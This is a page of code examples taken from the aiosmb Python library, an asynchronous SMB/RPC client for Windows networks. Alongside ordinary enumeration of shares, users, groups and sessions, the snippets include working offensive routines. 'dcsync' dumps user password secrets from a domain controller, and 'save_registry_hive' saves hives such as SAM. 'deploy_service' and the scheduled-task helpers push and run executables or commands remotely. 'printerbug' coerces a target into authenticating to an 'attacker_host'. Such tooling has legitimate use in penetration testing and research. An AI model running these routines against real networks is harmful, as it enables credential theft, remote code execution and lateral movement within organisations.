예제 #1
0
 async def connect_rpc(self, service_name):
     if service_name.upper() == 'SRVS':
         self.srvs = SMBSRVS(self.connection)
         self.privtable['SRVS'] = False
         await rr(self.srvs.connect())
         self.privtable['SRVS'] = True
     elif service_name.upper() == 'SAMR':
         self.samr = SMBSAMR(self.connection)
         self.privtable['SAMR'] = False
         await rr(self.samr.connect())
         self.privtable['SAMR'] = True
     elif service_name.upper() == 'LSAD':
         self.lsad = LSAD(self.connection)
         self.privtable['LSAD'] = False
         await rr(self.lsad.connect())
         self.privtable['LSAD'] = True
     elif service_name.upper() == 'RRP':
         self.rrp = RRP(self.connection)
         self.privtable['RRP'] = False
         await rr(self.rrp.connect())
         self.privtable['RRP'] = True
     elif service_name.upper() == 'RPRN':
         self.rprn = SMBRPRN(self.connection)
         self.privtable['RPRN'] = False
         await rr(self.rprn.connect())
         self.privtable['RPRN'] = True
     elif service_name.upper() == 'TSCH':
         self.tsch = SMBTSCH(self.connection)
         self.privtable['TSCH'] = False
         await rr(self.tsch.connect())
         self.privtable['TSCH'] = True
     else:
         raise Exception('Unknown service name : %s' % service_name)
     return True, None
예제 #2
0
    async def open_samr(self):
        if self.samr_works == False:
            return
        self.samr = SMBSAMR(self.connection)
        try:
            await self.samr.connect()

        except Exception as e:
            print('open_samr error: %s' % e)
            self.samr_works = False
        else:
            self.samr_works = True
예제 #3
0
 async def connect_rpc(self, service_name):
     if service_name.upper() == 'SRVS':
         self.srvs = SMBSRVS(self.connection)
         await self.srvs.connect()
     elif service_name.upper() == 'SAMR':
         self.samr = SMBSAMR(self.connection)
         await self.samr.connect()
     elif service_name.upper() == 'LSAD':
         self.lsad = LSAD(self.connection)
         await self.lsad.connect()
     else:
         raise Exception('Unknown service name : %s' % service_name)
예제 #4
0
파일: domain.py 프로젝트: xBlackSwan/aiosmb
    async def open(self, access_level=samr.MAXIMUM_ALLOWED):
        self.domain_access_level = access_level
        if self.samr is None:
            self.samr = SMBSAMR(self.connection)
            logging.debug('Connecting to SAMR')
            try:
                await self.samr.connect()
            except Exception as e:
                logging.exception('Failed to connect to SAMR')
                raise e

        self.domain_sid = await self.samr.get_domain_sid(self.domain_name)
        self.domain_handle = await self.samr.open_domain(
            self.domain_sid, access_level=self.domain_access_level)
예제 #5
0
async def list_localgroup_members(connection_string, groupname = 'Administrators', out_file = None, json_out = False):
	target = SMBTarget.from_connection_string(connection_string)
	credential = SMBCredential.from_connection_string(connection_string)
	spneg = AuthenticatorBuilder.to_spnego_cred(credential, target)
	
	async with SMBConnection(spneg, target) as connection: 
		await connection.login()
		
		async with SMBSAMR(connection) as samr:
			logging.debug('Connecting to SAMR')
			try:
				await samr.connect()
			except Exception as e:
				logging.exception('Failed to connect to SAMR')
				
			#list domain
			found = False
			async for domain in samr.list_domains():
				#print(domain)
				if domain == 'Builtin':
					found = True
					logging.info('[+] Found Builtin domain')
			
			if found == False:
				raise Exception('[-] Could not find Builtin domain. Fail.')
			#open domain
			domain_sid = await samr.get_domain_sid('Builtin')
			domain_handle = await samr.open_domain(domain_sid)
			
			#list aliases
			found = False
			target_rid = None
			async for name, rid in samr.list_aliases(domain_handle):
				#print(name, rid)
				if name == groupname:
					target_rid = rid
					found = True
					logging.info('[+] Found %s group!' % name)
					break
					
			if found == False:
				raise Exception('[-] %s group not found! Fail.' % name)
			
			#open alias
			alias_handle = await samr.open_alias(domain_handle, target_rid)
			#list alias memebers
			async for sid in samr.list_alias_members(alias_handle):
				print(sid)
			
			

	print('Done!')
예제 #6
0
async def filereader_test(connection_string, filename):
    target = SMBTarget.from_connection_string(connection_string)
    credential = SMBCredential.from_connection_string(connection_string)

    spneg = AuthenticatorBuilder.to_spnego_cred(credential, target)

    async with SMBConnection(spneg, target) as connection:
        await connection.login()

        samr = SMBSAMR(connection)
        await samr.connect()
        async for domain in samr.list_domains():
            print('domain: %s' % domain)
        domain_sid = await samr.get_domain_sid('TEST')
        print(str(domain_sid))
        domain_handle = await samr.open_domain(domain_sid)
        print(domain_handle)
        async for username in samr.list_domain_users(domain_handle):
            print(username)

        async for groupname in samr.list_domain_groups(domain_handle):
            print(groupname)

        async for sid, username in samr.enumerate_users(domain_handle):
            print(username, sid)

        user_handle = await samr.open_user(domain_handle, 1106)
        input(user_handle)
        async for sid in samr.get_user_group_memberships(user_handle):
            print(sid)

        #polling local goup users
        local_domain_sid = await samr.get_domain_sid('Builtin')
        domain_handle = await samr.open_domain(local_domain_sid)
        alias_handle = await samr.open_alias(domain_handle, 544)
        async for sid in samr.list_alias_members(alias_handle):
            print(sid)
예제 #7
0
파일: machine.py 프로젝트: skelsec/aiosmb
    def __init__(self, connection):
        self.connection = connection
        self.services = []
        self.shares = []
        self.localgroups = []
        self.sessions = []
        self.domains = []

        self.privtable = {}
        self.blocking_mgr_tasks = {}

        self.named_rpcs = {
            'SRVS': SMBSRVS(self.connection),
            'SAMR': SMBSAMR(self.connection),
            'LSAD': LSAD(self.connection),
            'RRP': RRP(self.connection),
            'RPRN': SMBRPRN(self.connection),
            'TSCH': SMBTSCH(self.connection),
            'PAR': SMBPAR(self.connection),
            'SERVICEMGR': SMBRemoteServieManager(self.connection),
        }

        self.open_rpcs = {}
예제 #8
0
class SMBMachine:
    def __init__(self, connection):
        self.connection = connection
        self.services = []
        self.shares = []
        self.localgroups = []
        self.sessions = []
        self.domains = []

        self.srvs = None
        self.samr = None
        self.lsad = None
        self.rrp = None
        self.rprn = None
        self.tsch = None

        self.filesystem = None
        self.servicemanager = None

        self.privtable = {}
        self.blocking_mgr_tasks = {}

    async def __aenter__(self):
        return self

    async def __aexit__(self, exc_type, exc, traceback):
        await asyncio.wait_for(self.close(), timeout=3)

    async def close(self):
        # TODO: make it prettier!
        if self.srvs is not None:
            await self.srvs.close()
        if self.samr is not None:
            await self.samr.close()
        if self.lsad is not None:
            await self.lsad.close()
        if self.rrp is not None:
            await self.rrp.close()
        if self.rprn is not None:
            await self.rprn.close()
        if self.tsch is not None:
            await self.tsch.close()

    def get_blocking_file(self):
        """
		Starts a file manager task and initializes the io queues
		"""

        in_q = AsyncProcessQueue()
        out_q = AsyncProcessQueue()
        fsm = SMBBlockingFileMgr(self.connection, in_q, out_q)
        fsmt = asyncio.create_task(fsm.run())
        self.blocking_mgr_tasks[fsmt] = 1
        bfile = SMBBlockingFile(in_q, out_q)
        return bfile

    @red
    async def connect_rpc(self, service_name):
        if service_name.upper() == 'SRVS':
            self.srvs = SMBSRVS(self.connection)
            self.privtable['SRVS'] = False
            await rr(self.srvs.connect())
            self.privtable['SRVS'] = True
        elif service_name.upper() == 'SAMR':
            self.samr = SMBSAMR(self.connection)
            self.privtable['SAMR'] = False
            await rr(self.samr.connect())
            self.privtable['SAMR'] = True
        elif service_name.upper() == 'LSAD':
            self.lsad = LSAD(self.connection)
            self.privtable['LSAD'] = False
            await rr(self.lsad.connect())
            self.privtable['LSAD'] = True
        elif service_name.upper() == 'RRP':
            self.rrp = RRP(self.connection)
            self.privtable['RRP'] = False
            await rr(self.rrp.connect())
            self.privtable['RRP'] = True
        elif service_name.upper() == 'RPRN':
            self.rprn = SMBRPRN(self.connection)
            self.privtable['RPRN'] = False
            await rr(self.rprn.connect())
            self.privtable['RPRN'] = True
        elif service_name.upper() == 'TSCH':
            self.tsch = SMBTSCH(self.connection)
            self.privtable['TSCH'] = False
            await rr(self.tsch.connect())
            self.privtable['TSCH'] = True
        else:
            raise Exception('Unknown service name : %s' % service_name)
        return True, None

    @red
    async def connect_servicemanager(self):
        self.servicemanager = SMBRemoteServieManager(self.connection)
        self.privtable['SERVICEMGR'] = False
        await rr(self.servicemanager.connect())
        self.privtable['SERVICEMGR'] = True
        return True, None

    @req_srvs_gen
    async def list_shares(self):
        try:
            async for name, share_type, remark, err in self.srvs.list_shares():
                if err is not None:
                    yield None, err
                    return
                share = SMBShare(
                    name=name,
                    stype=share_type,
                    remark=remark,
                    fullpath='\\\\%s\\%s' %
                    (self.connection.target.get_hostname_or_ip(), name))
                yield share, None
        except Exception as e:
            yield None, e

    @req_srvs_gen
    async def list_sessions(self, level=10):
        async for username, ip_addr, err in self.srvs.list_sessions(
                level=level):
            if err is not None:
                yield None, err
                return
            sess = SMBUserSession(username=username,
                                  ip_addr=ip_addr.replace('\\', '').strip())
            self.sessions.append(sess)
            yield sess, None

    @req_samr_gen
    async def list_domains(self):
        async for domain, err in self.samr.list_domains():
            #self.domains.append(domain)
            yield domain, err

    @req_samr_gen
    async def list_localgroups(self):
        async for name, sid, err in self.list_groups('Builtin'):
            yield name, sid, err

    @req_samr_gen
    async def list_groups(self, domain_name, ret_sid=True):
        """
		Lists all groups in a given domain.
		domain_name: string
		"""
        domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
        domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
        #target_group_rids = {}
        async for name, rid, _ in rr_gen(
            self.samr.list_aliases(domain_handle)):
            sid = '%s-%s' % (domain_sid, rid)
            yield name, sid, None

    @req_samr_gen
    @req_lsad_gen
    async def list_group_members(self, domain_name, group_name):
        policy_handle, _ = await rr(self.lsad.open_policy2())
        domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
        domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
        target_group_rid = None
        async for name, rid, _ in rr_gen(
                self.samr.list_aliases(domain_handle)):
            if name == group_name:
                target_group_rid = rid
                break

        if target_group_rid is None:
            raise Exception('No group found with name "%s"' % group_name)

        alias_handle, _ = await rr(
            self.samr.open_alias(domain_handle, target_group_rid))
        async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)):
            async for domain_name, user_name, _ in rr_gen(
                    self.lsad.lookup_sids(policy_handle, [sid])):
                yield domain_name, user_name, sid, None

    async def list_directory(self, directory):
        _, err = await directory.list(self.connection)
        if err is not None:
            yield False, err
            return

        for entry in directory.get_console_output():
            yield entry

    async def enum_all_recursively(self, depth=3):
        shares = {}
        async for share, err in self.list_shares():
            if err is not None:
                raise err
            if share.name.upper() == 'IPC$':
                continue
            shares[share.name] = share
            yield share.fullpath, 'share', None

        for share_name in shares:
            _, err = await shares[share_name].connect(self.connection)
            if err is not None:
                continue
                raise err

            async for entry in shares[share_name].subdirs[''].list_r(
                    self.connection, depth=depth):
                yield entry

    async def put_file(self, local_path, remote_path):
        """
		remote_path must be a full UNC path with the file name included!

		"""
        try:
            smbfile = SMBFile.from_remotepath(self.connection, remote_path)
            _, err = await smbfile.open(self.connection, 'w')
            if err is not None:
                return False, err

            with open(local_path, 'rb') as f:
                total_writen, err = await smbfile.write_buffer(f)

            await smbfile.close()
            return total_writen, None
        except Exception as e:
            return False, e

    async def get_file(self, out_path, file_obj):
        with open(out_path, 'wb') as f:
            try:
                await file_obj.open(self.connection, 'r')
                while True:
                    data = await file_obj.read(1024)
                    if not data:
                        break
                    f.write(data)
            finally:
                await file_obj.close()

    async def get_file_data(self, file_obj):
        _, err = await file_obj.open(self.connection, 'r')
        if err is not None:
            yield None, err
            return
        async for data, err in file_obj.read_chunked():
            yield data, err

    async def del_file(self, file_path):
        return await SMBFile.delete(self.connection, file_path)

    async def del_directory_path(self, dir_path):
        return await SMBDirectory.delete_unc(self.connection, dir_path)

    async def create_subdirectory(self, directory_name, parent_directory_obj):
        await parent_directory_obj.create_subdir(directory_name,
                                                 self.connection)

    @req_servicemanager_gen
    async def list_services(self):
        async for service, _ in rr_gen(self.servicemanager.list()):
            yield service, None

    @req_servicemanager
    async def enable_service(self, service_name):
        res, exc = await rr(self.servicemanager.enable_service(service_name))
        return res, exc

    #@red_gen
    @req_samr_gen
    async def list_domain_users(self, target_domain=None):
        if target_domain is None:
            logger.debug('No domain defined, fetching it from SAMR')

            logger.debug('Fetching domains...')
            async for domain, _ in rr_gen(self.samr.list_domains()):
                if domain == 'Builtin':
                    continue
                if target_domain is None:  #using th first available
                    target_domain = domain
                    logger.debug('Domain available: %s' % domain)

        domain_sid, _ = await self.samr.get_domain_sid(target_domain)
        domain_handle, _ = await self.samr.open_domain(domain_sid)

        async for username, user_sid, err in self.samr.list_domain_users(
                domain_handle):
            yield username, user_sid, err

    async def dcsync(self, target_domain=None, target_users=[]):
        try:
            if self.samr is None:
                await self.connect_rpc('SAMR')

            if target_domain is None:
                logger.debug('No domain defined, fetching it from SAMR')

                logger.debug('Fetching domains...')
                async for domain, err in self.samr.list_domains():
                    if err is not None:
                        raise err
                    if domain == 'Builtin':
                        continue
                    if target_domain is None:  #using th first available
                        target_domain = domain
                        logger.debug('Domain available: %s' % domain)

            async with SMBDRSUAPI(self.connection, target_domain) as drsuapi:
                try:
                    _, err = await drsuapi.connect()
                    if err is not None:
                        raise err
                    _, err = await drsuapi.open()
                    if err is not None:
                        raise err
                except Exception as e:
                    logger.exception('Failed to connect to DRSUAPI!')
                    raise e

                logger.debug('Using domain: %s' % target_domain)
                if len(target_users) > 0:
                    for username in target_users:
                        secrets, err = await drsuapi.get_user_secrets(username)
                        yield secrets, err

                else:

                    domain_sid, _ = await self.samr.get_domain_sid(
                        target_domain)
                    domain_handle, _ = await self.samr.open_domain(domain_sid)
                    async for username, user_sid, err in self.samr.list_domain_users(
                            domain_handle):
                        if err is not None:
                            yield None, err
                            return
                        logger.debug('username: %s' % username)
                        secrets, err = await drsuapi.get_user_secrets(username)
                        if err is not None:
                            yield None, err
                            return
                        logger.debug('secrets: %s' % secrets)
                        yield secrets, None

        except Exception as e:
            yield None, e
            return

    @req_rrp
    async def get_regapi(self):
        return self.rrp, None

    @req_rrp
    async def save_registry_hive(self, hive_name, remote_path):
        key_handle, err = await self.rrp.OpenRegPath(hive_name)
        if err is not None:
            return None, err
        res, err = await self.rrp.SaveKey(key_handle, remote_path)
        return res, err

    @req_servicemanager
    async def create_service(self, service_name, command, display_name=None):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        if display_name is None:
            display_name = service_name
        res, err = await self.servicemanager.create_service(
            service_name, display_name, command)
        return res, err

    @req_servicemanager
    async def start_service(self, service_name):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        return await self.servicemanager.start_service(service_name)

    @req_servicemanager
    async def stop_service(self, service_name):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        return await self.servicemanager.stop_service(service_name)

    @req_servicemanager
    async def deploy_service(self,
                             path_to_executable,
                             remote_path=None,
                             service_name=None):
        """

		remote path must be UNC
		"""
        if service_name is None:
            service_name = os.urandom(4).hex()
        if remote_path is None:
            raise NotImplementedError()

        filename = ntpath.basename(path_to_executable)
        remote_file_path = remote_path + filename
        remote_file = SMBFile.from_uncpath(remote_file_path)
        await self.put_file(path_to_executable, remote_file)

        command = remote_file_path

        await self.create_service(service_name, command)

        return True, None

    @req_tsch
    async def tasks_list(self):
        """
		Lists scheduled tasks
		"""
        return self.tsch.list_tasks()

    @req_tsch
    async def tasks_register(self,
                             template,
                             task_name=None,
                             flags=tsch.TASK_CREATE,
                             sddl=None,
                             logon_type=tsch.TASK_LOGON_NONE):
        """
		Registers a new task
		"""
        return await self.tsch.register_task(template,
                                             task_name=task_name,
                                             flags=flags,
                                             sddl=sddl,
                                             logon_type=logon_type)

    @req_tsch
    async def tasks_execute_commands(self, commands):
        return await self.tsch.run_commands(commands)

    @req_tsch
    async def tasks_delete(self, task_name):
        return await self.tsch.delete_task(task_name)

    @req_rprn
    async def printerbug(self, attacker_host):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        print('opening printer')
        handle, _ = await rr(
            self.rprn.open_printer(
                '\\\\%s\x00' % self.connection.target.get_hostname_or_ip()))
        print('got handle %s' % handle)
        resp, _ = await rr(
            self.rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
                handle,
                PRINTER_CHANGE_ADD_JOB,
                pszLocalMachine='\\\\%s\x00' % attacker_host,
            ))
        print('got resp! %s' % resp)

    async def list_interfaces(self):
        try:
            interfaces = []
            ipc_file = SMBFile.from_uncpath(
                '\\\\%s\\IPC$' % self.connection.target.get_hostname_or_ip())
            await ipc_file.open(self.connection, 'r')
            ifaces_raw, err = await self.connection.ioctl(
                ipc_file.tree_id,
                b'\xFF' * 16,
                CtlCode.FSCTL_QUERY_NETWORK_INTERFACE_INFO,
                data=None,
                flags=IOCTLREQFlags.IS_FSCTL)
            if err is not None:
                raise err

            for iface_raw in ifaces_raw:
                t = {
                    'index': iface_raw.IfIndex,
                    'cap': iface_raw.Capability,
                    'speed': iface_raw.LinkSpeed,
                    'address': str(iface_raw.SockAddr_Storage.Addr),
                }
                interfaces.append(t)

            return interfaces, None

        except Exception as e:
            return None, e

        finally:
            await ipc_file.close()

    @req_servicemanager
    async def check_service_status(self, service_name):
        return await self.servicemanager.check_service_status(service_name)

    async def list_mountpoints(self):
        pass
예제 #9
0
파일: domain.py 프로젝트: xBlackSwan/aiosmb
class SMBDomain:
    def __init__(self, domain_name, samr=None, connection=None):
        self.domain_name = domain_name
        self.connection = connection
        self.domain_access_level = None
        self.samr = samr
        self.domain_sid = None
        self.domain_handle = None

        if samr is None and connection is None:
            raise Exception('Either SAMR or CONNECTION must be provided!')

    async def __aenter__(self):
        return self

    async def __aexit__(self, exc_type, exc, traceback):
        pass

    async def open(self, access_level=samr.MAXIMUM_ALLOWED):
        self.domain_access_level = access_level
        if self.samr is None:
            self.samr = SMBSAMR(self.connection)
            logging.debug('Connecting to SAMR')
            try:
                await self.samr.connect()
            except Exception as e:
                logging.exception('Failed to connect to SAMR')
                raise e

        self.domain_sid = await self.samr.get_domain_sid(self.domain_name)
        self.domain_handle = await self.samr.open_domain(
            self.domain_sid, access_level=self.domain_access_level)
        #print(self.domain_sid)

    async def get_info(self):
        for i in [
                samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,
                samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,
        ]:
            info = await self.samr.get_info(self.domain_handle, i)
            info.dump()

        return info

    async def list_users(self):
        async for user_name, user_sid in self.samr.enumerate_users(
                self.domain_handle):
            yield (user_name, user_sid)

    async def open_user(self, user_sid, access_level=samr.MAXIMUM_ALLOWED):
        user_rid = user_sid.replace(self.domain_sid, '')[1:]
        user_handle = await self.samr.open_user(self.domain_handle,
                                                int(user_rid),
                                                access_level=access_level)
        return user_handle

    async def get_user_group_memberships(self, user_handle):
        async for group_sid in self.samr.get_user_group_memberships(
                user_handle):
            yield group_sid

    async def get_user_info(self, user_handle):
        info = await self.samr.get_user_info(
            user_handle, samr.USER_INFORMATION_CLASS.UserParametersInformation)
        info.dump()
        return info

    async def list_groups(self):
        async for name, sid in self.samr.list_domain_groups(
                self.domain_handle):
            yield name, sid

    async def get_security_info(self, handle):
        info = await self.samr.get_security_info(handle)
        info.dump()
        return info
예제 #10
0
class SMBMachine:
	def __init__(self, connection):
		self.connection = connection
		self.services = []
		self.shares = []
		self.localgroups = []
		self.sessions = []
		self.domains = []

		self.srvs = None
		self.samr = None
		self.lsad = None
		self.rrp = None

		self.filesystem = None
		self.servicemanager = None

		self.privtable = {}
		self.blocking_mgr_tasks = {}

	def get_blocking_file(self):
		"""
		Starts a file manager task and initializes the io queues
		"""

		in_q = AsyncProcessQueue()
		out_q = AsyncProcessQueue()
		fsm = SMBBlockingFileMgr(self.connection, in_q, out_q)
		fsmt = asyncio.create_task(fsm.run())
		self.blocking_mgr_tasks[fsmt] = 1
		bfile = SMBBlockingFile(in_q, out_q)
		return bfile

	@red
	async def connect_rpc(self, service_name):
		if service_name.upper() == 'SRVS':
			self.srvs = SMBSRVS(self.connection)
			self.privtable['SRVS'] = False
			await rr(self.srvs.connect())
			self.privtable['SRVS'] = True
		elif service_name.upper() == 'SAMR':
			self.samr = SMBSAMR(self.connection)
			self.privtable['SAMR'] = False
			await rr(self.samr.connect())
			self.privtable['SAMR'] = True
		elif service_name.upper() == 'LSAD':
			self.lsad = LSAD(self.connection)
			self.privtable['LSAD'] = False
			await rr(self.lsad.connect())
			self.privtable['LSAD'] = True
		elif service_name.upper() == 'RRP':
			self.rrp = RRP(self.connection)
			self.privtable['RRP'] = False
			await rr(self.rrp.connect())
			self.privtable['RRP'] = True
		else:
			raise Exception('Unknown service name : %s' % service_name)
		return True, None
	
	@red
	async def connect_servicemanager(self):
		self.servicemanager = SMBRemoteServieManager(self.connection)
		self.privtable['SERVICEMGR'] = False
		await rr(self.servicemanager.connect())
		self.privtable['SERVICEMGR'] = True
		return True, None

	@req_srvs_gen
	async def list_shares(self):
		async for name, share_type, remark, _ in rr_gen(self.srvs.list_shares()):
			share = SMBShare(
				name = name, 
				stype = share_type, 
				remark = remark, 
				fullpath = '\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), name)
			)
			#self.shares.append(share)
			yield share, None

	@req_srvs_gen
	async def list_sessions(self, level = 1):
		async for username, ip_addr, _ in rr_gen(self.srvs.list_sessions(level = level)):
			sess = SMBUserSession(username = username, ip_addr = ip_addr.replace('\\','').strip())
			self.sessions.append(sess)
			yield sess, None

	@req_samr_gen
	async def list_domains(self):
		async for domain, _ in rr_gen(self.samr.list_domains()):
			#self.domains.append(domain)
			yield domain, None
	
	@req_samr_gen
	async def list_localgroups(self):
		async for name, sid, _ in rr_gen(self.list_groups('Builtin')):
			yield name, sid, None

	@req_samr_gen
	async def list_groups(self, domain_name, ret_sid = True):
		"""
		Lists all groups in a given domain.
		domain_name: string
		"""
		domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
		domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
		#target_group_rids = {}
		async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)):
			sid = '%s-%s' % (domain_sid, rid)
			yield name, sid, None

	@req_samr_gen
	@req_lsad_gen
	async def list_group_members(self, domain_name, group_name):
		policy_handle, _ = await rr(self.lsad.open_policy2())
		domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
		domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
		target_group_rid = None
		async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)):
			if name == group_name:
				target_group_rid = rid
				break

		if target_group_rid is None:
			raise Exception('No group found with name "%s"' % group_name)
		
		alias_handle, _ = await rr(self.samr.open_alias(domain_handle, target_group_rid))
		async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)):
			async for domain_name, user_name, _ in rr_gen(self.lsad.lookup_sids(policy_handle, [sid])):
				yield domain_name, user_name, sid, None


	async def list_directory(self, directory):
		await directory.list(self.connection)
		for entry in directory.get_console_output():
			yield entry

	async def put_file(self, local_path, remote_path):
		"""
		remote_path must be a full UNC path with the file name included!

		"""
		smbfile = SMBFile.from_remotepath(self.connection, remote_path)
		await smbfile.open(self.connection, 'w')
		with open(local_path, 'rb') as f:
			await smbfile.write_buffer(f)
		await smbfile.close()
		return True

	async def get_file(self, out_path, file_obj):
		with open(out_path, 'wb') as f:
			try:
				await file_obj.open(self.connection, 'r')
				while True:
					data = await file_obj.read(1024)
					if not data:
						break
					f.write(data)
			finally:
				await file_obj.close()

	async def get_file_data(self, file_obj):
		await file_obj.open(self.connection, 'r')
		async for data in file_obj.read_chunked():
			yield data

	async def del_file(self, file_path):
		await SMBFile.delete(self.connection, file_path)

	async def create_subdirectory(self, directory_name, parent_directory_obj):
		await parent_directory_obj.create_subdir(directory_name, self.connection)
		

	@req_servicemanager_gen
	async def list_services(self):
		async for service, _ in rr_gen(self.servicemanager.list()):
			yield service, None

	@req_servicemanager
	async def enable_service(self, service_name):
		res, exc = await rr(self.servicemanager.enable_service(service_name))
		return res, exc

	#@red_gen
	@req_samr_gen
	async def list_domain_users(self, target_domain = None):
		if target_domain is None:
			logger.debug('No domain defined, fetching it from SAMR')
					
							
			logger.debug('Fetching domains...')
			async for domain, _ in rr_gen(self.samr.list_domains()):
				if domain == 'Builtin':
					continue
				if target_domain is None: #using th first available
					target_domain = domain
					logger.debug('Domain available: %s' % domain)

		domain_sid, _ = await self.samr.get_domain_sid(target_domain)
		domain_handle, _ = await self.samr.open_domain(domain_sid)
		
		async for username, user_sid, err in self.samr.list_domain_users(domain_handle):
			yield username, user_sid, err

	#@red_gen
	@req_samr_gen
	async def dcsync(self, target_domain = None, target_users = []):
		if target_domain is None:
			logger.debug('No domain defined, fetching it from SAMR')
					
							
			logger.debug('Fetching domains...')
			async for domain, _ in rr_gen(self.samr.list_domains()):
				if domain == 'Builtin':
					continue
				if target_domain is None: #using th first available
					target_domain = domain
					logger.debug('Domain available: %s' % domain)
		
		async with SMBDRSUAPI(self.connection, target_domain) as drsuapi:
			try:
				await rr(drsuapi.connect())
				await rr(drsuapi.open())
			except Exception as e:
				logger.exception('Failed to connect to DRSUAPI!')
				raise e

			logger.debug('Using domain: %s' % target_domain)
			if len(target_users) > 0:
				for username in target_users:
					secrets, _ = await drsuapi.get_user_secrets(username)
					yield secrets
							
			else:
				
				domain_sid, _ = await self.samr.get_domain_sid(target_domain)
				domain_handle, _ = await self.samr.open_domain(domain_sid)
				async for username, user_sid, err in self.samr.list_domain_users(domain_handle):
					if err is not None:
						yield None, err
					logger.debug('username: %s' % username)
					secrets, _ = await rr(drsuapi.get_user_secrets(username))
					logger.debug('secrets: %s' % secrets)
					yield secrets, None

	
	@req_rrp
	async def save_registry_hive(self, hive_name, remote_path):
		#SAM C:\aaaa\sam.reg
		res, _ = await rr(self.rrp.save_hive(hive_name, remote_path))
		return True, None

	@req_servicemanager
	async def create_service(self, service_name, command, display_name = None):
		"""
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
		if display_name is None:
			display_name = service_name
		res, _ = await rr(self.servicemanager.create_service(service_name, display_name, command))
		return True, None


	@req_servicemanager
	async def deploy_service(self, path_to_executable, remote_path = None, service_name = None):
		"""

		remote path must be UNC
		"""
		if service_name is None:
			service_name = os.urandom(4).hex()
		if remote_path is None:
			raise NotImplementedError()

		filename = ntpath.basename(path_to_executable)
		remote_file_path = remote_path + filename
		remote_file = SMBFile.from_uncpath(remote_file_path)
		await self.put_file(path_to_executable, remote_file)
		
		command = remote_file_path

		await self.create_service(service_name, command)

		return True, None
	

	async def stop_service(self):
		pass
	
	async def list_mountpoints(self):
		pass
예제 #11
0
async def dcsync(connection_string,
                 filename=None,
                 target_domain=None,
                 target_users=[],
                 json_out=False):
    target = SMBTarget.from_connection_string(connection_string)
    credential = SMBCredential.from_connection_string(connection_string)
    spneg = AuthenticatorBuilder.to_spnego_cred(credential, target)

    async with SMBConnection(spneg, target) as connection:
        await connection.login()

        async with SMBSAMR(connection) as samr:
            logging.debug('Connecting to SAMR')
            try:
                await samr.connect()
            except Exception as e:
                loggign.exception('Failed to connect to SAMR')

            if target_domain is None:
                logging.debug('No domain defined, fetching it from SAMR')

                logging.debug('Fetching domains...')
                async for domain in samr.list_domains():
                    if target_domain is None:  #using th first available
                        target_domain = domain
                    logging.debug('Domain available: %s' % domain)

            logging.debug('Using domain: %s' % target_domain)
            async with SMBDRSUAPI(connection, target_domain) as drsuapi:
                try:
                    await drsuapi.connect()
                    await drsuapi.open()
                except:
                    logging.exception('Failed to connect to DRSUAPI!')

                if len(target_users) > 0:
                    if filename is not None:
                        with open(filename, 'w') as f:
                            for username in target_users:
                                secrets = await drsuapi.get_user_secrets(
                                    username)
                                if json_out == True:
                                    f.write(json.dumps(secrets.to_dict()))
                                else:
                                    f.write(str(secrets))

                    else:
                        for username in target_users:
                            secrets = await drsuapi.get_user_secrets(username)
                            print(str(secrets))

                else:
                    domain_sid = await samr.get_domain_sid(target_domain)
                    domain_handle = await samr.open_domain(domain_sid)
                    if filename is not None:
                        with open(filename, 'w') as f:
                            async for username, user_sid in samr.list_domain_users(
                                    domain_handle):
                                secrets = await drsuapi.get_user_secrets(
                                    username)
                                if json_out == True:
                                    f.write(
                                        json.dumps(secrets.to_dict()) + '\r\n')
                                else:
                                    f.write(str(secrets))

                    else:
                        async for username, user_sid in samr.list_domain_users(
                                domain_handle):
                            secrets = await drsuapi.get_user_secrets(username)
                            print(str(secrets))

    print('Done!')
예제 #12
0
class SMBHostScanner:
    def __init__(self, connection, results_queue=None):
        """
		Connection MUST NOT be initialized!!!!
		"""
        self.connection = connection
        self.hostinfo = SMBHostInfo()
        self.results_queue = results_queue

        self.fs = SMBFileSystem(connection)

        self.srvs = None
        self.srvs_works = True
        self.samr = None
        self.samr_works = True

    async def connect(self):
        await self.connection.login()

    async def fake_logon(self):
        """
		Initiates NTLM authentication, but disconnects after the server sent the CHALLENGE message.
		Useful for getting info on the server without having valid user creds
		"""
        extra_info = await self.connection.fake_login()
        print(extra_info)
        if self.results_queue is not None:
            await self.results_queue.put(extra_info)
        else:
            self.hostinfo.finger_info = extra_info

    async def open_srvs(self):
        if self.srvs_works == False:
            return
        self.srvs = SMBSRVS(self.connection)
        try:
            await self.srvs.connect()
        except Exception as e:
            print('open_srvs error: %s' % e)
            self.srvs_works = False
        else:
            self.srvs_works = True

    async def open_samr(self):
        if self.samr_works == False:
            return
        self.samr = SMBSAMR(self.connection)
        try:
            await self.samr.connect()

        except Exception as e:
            print('open_samr error: %s' % e)
            self.samr_works = False
        else:
            self.samr_works = True

    async def list_shares(self):
        """
		Lists all available shares on the host
		"""
        if not self.srvs:
            await self.open_srvs()

        async for name, share_type, remark in self.srvs.list_shares():
            share = SMBShare(name,
                             share_type,
                             remark,
                             fullpath='\\\\%s\\%s' %
                             (self.connection.target.get_ip(), name))
            self.hostinfo.shares.append(share)

            if self.results_queue is not None:
                await self.results_queue.put(share)

    async def enumerate_share(self, share):
        """
		Enumerates all active user sessions on the host
		"""
        try:
            await self.fs.connect_share(share)
        except Exception as e:
            return
        for directory_name in share.subdirs:
            async for directory in self.fs.enumerate_directory_stack(
                    share.subdirs[directory_name], maxdepth=4, with_sid=True):
                if self.results_queue is not None:
